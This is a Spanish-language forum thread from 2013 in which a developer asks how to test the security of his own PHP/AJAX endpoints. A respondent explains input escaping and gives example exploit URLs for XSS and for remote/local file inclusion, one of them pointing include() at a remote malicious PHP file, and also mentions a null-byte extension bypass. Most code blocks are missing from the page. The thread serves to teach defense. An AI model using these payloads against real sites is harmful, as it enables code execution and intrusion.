Título: Explotar PHP Publicado por: DoHITB en 6 Enero 2013, 20:42 pm Buenas!
Actualmente tengo abiertos varios proyectos con PHP/JS/AJAX, y me gustaría hacerles test de seguridad... pero ando un poco corto en este tipo de conocimientos... Es decir, por poner un ejemplo: Yo tengo una web que hace una llamada AJAX a un archivo "archivo.php". A este archivo le paso por GET: - accion=**accion** - datos=**datos** Un ejemplo, sería: archivo.php?accion=li&u=correo@correo.com&p=pass Entonces, yo en archivo.php reviso los parámetros GET, para que no haya ninguno que no figure en la lista de posibles parámetros, los filtro para que no tengan caracteres extraños, etc... Pero mi pregunta es: podría hacer algo para que me fallara igualmente? No se si explico bien la clase de conocimientos que me faltan... espero que me podáis ayudar! Saludos! Título: Re: Explotar PHP Publicado por: jdc en 6 Enero 2013, 20:55 pm Mira ya que estas "apurado", haz lo siquiente:
Cada vez que declares una variable que recibe un parametro dado por el usuarioenglobala en mysqli real escape string y htmlspecialchars y listo, si tienes tiempo busca en Google para saber como funcionan ambas. Por ejemplo, tienes: Código
Tendrias que dejarlo asi: Código
Título: Re: Explotar PHP Publicado por: DoHITB en 6 Enero 2013, 23:49 pm Buenas,
Gracias por la respuesta; pero mi problema no reside exactamente ahí; está claro que se deben escapar los datos recibidos por GET y POST... mi duda es la siguiente: Partiendo de algo así: Código
Si yo accedo como pagina.php?accion=algo me dará error, pero mi pregunta es: ¿Se puede hacer algo más para explotar esta estructura? Es decir, supuestamente a esta página accedo desde AJAX, pero si la solicito con VB.net, cURL... puedo enviarle cualquier otra cosa... y ahí es donde quiero probar la seguridad de mi web. Gracias. Título: Re: Explotar PHP Publicado por: jdc en 6 Enero 2013, 23:58 pm Si la estructura es asi no ya que action no es variable, sino una constante. Al tener en el else un error proteges por defecto tu estructura.
Título: Re: Explotar PHP Publicado por: DoHITB en 7 Enero 2013, 00:13 am Ok, gracias.
Pero, por ejemplo, si no escapara caracteres en el get, podría hacer que algo fuera mal si la estructura fuera así: Código: if($action == "li"){ aún estando escapados los datos de GET, sigue siendo seguro? Por "escapar" los datos GET, me refiero a: - Cambiar caracteres peligrosos como comillas, caracteres de comentario... - Cambiar caracteres de ciertas palabras por código html Título: Re: Explotar PHP Publicado por: jdc en 7 Enero 2013, 01:20 am Es que por ejemplo 'li' como te dije no es una variable, así que action no es vulnerable a absolutamente nada, ahora si después haces una consulta tipo select * from tabla where campo = $variable, te toca limpiar esa $variable
Título: Re: Explotar PHP Publicado por: DoHITB en 7 Enero 2013, 20:17 pm Vale, entonces es como yo pensaba más o menos... aunque creía que si eras un "gurú" del PHP haría falta mucha seguridad para este tipo de bloques...
No obstante, supongo que puedo buscar vulnerabilidades en mis proyectos por otras partes... Me recomendarías algún patrón a buscar o algo similar? Gracias! Título: Re: Explotar PHP Publicado por: jdc en 7 Enero 2013, 20:39 pm Mira, te doy 2 ejemplos vulnerables para que lo entiendas mejor mejor:
1) Esto seria vulnerable a XSS: Código
Aqui si pones por ejemplo lo siguiente para explotar la vulnerabilidad Código: tudominio.com/index.php?action=hola<h1>esto es codigo html inyectado</h1> Y se corrige con: Código
2)Esto seria vulnerable a RFI y LFI: Código
Aqui si pones por ejemplo lo siguiente para explotar la vulnerabilidad Código: tudominio.com/index.php?action=http://otrodominio.com/archivomalo.php Ojo que la solución para esto puede ser tan simple como poner en la variable una extension y un directorio tipo include ('includes/'.$section.'.php') tambien debes tener cuidado en los caracteres que permites en la variable, por ejemplo a veces pueden saltarse la extension con un byte nulo por ejemplo asi que cuidado. |